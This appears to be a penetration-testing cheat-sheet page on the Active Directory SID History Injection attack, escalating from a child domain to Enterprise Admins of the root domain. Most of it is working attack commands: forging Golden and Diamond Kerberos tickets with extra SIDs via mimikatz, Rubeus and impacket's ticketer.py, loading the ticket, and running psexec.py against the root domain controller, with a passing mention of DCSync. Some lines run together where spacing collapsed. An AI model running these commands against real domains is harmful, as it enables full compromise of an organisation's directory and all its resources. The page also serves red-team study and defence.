The focus of the SID History Injection Attack is aiding user migration between domains while ensuring continued access to resources from the former domain. This is accomplished by incorporating the user's previous Security Identifier (SID) into the SID History of their new account. Notably, this process can be manipulated to grant unauthorized access by adding the SID of a high-privilege group (such as Enterprise Admins or Domain Admins) from the parent domain to the SID History. This exploitation confers access to all resources within the parent domain.
Two methods exist for executing this attack: through the creation of either a Golden Ticket or a Diamond Ticket.
To pinpoint the SID for the "Enterprise Admins" group, one must first locate the SID of the root domain. Following the identification, the Enterprise Admins group SID can be constructed by appending -519 to the root domain's SID. For instance, if the root domain SID is S-1-5-21-280534878-1496970234-700767426, the resulting SID for the "Enterprise Admins" group would be S-1-5-21-280534878-1496970234-700767426-519.
You could also use the Domain Admins groups, which ends in 512.
Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
For more info about golden tickets check:
Diamond Ticket (Rubeus + KRBTGT-AES256)
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache # psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10
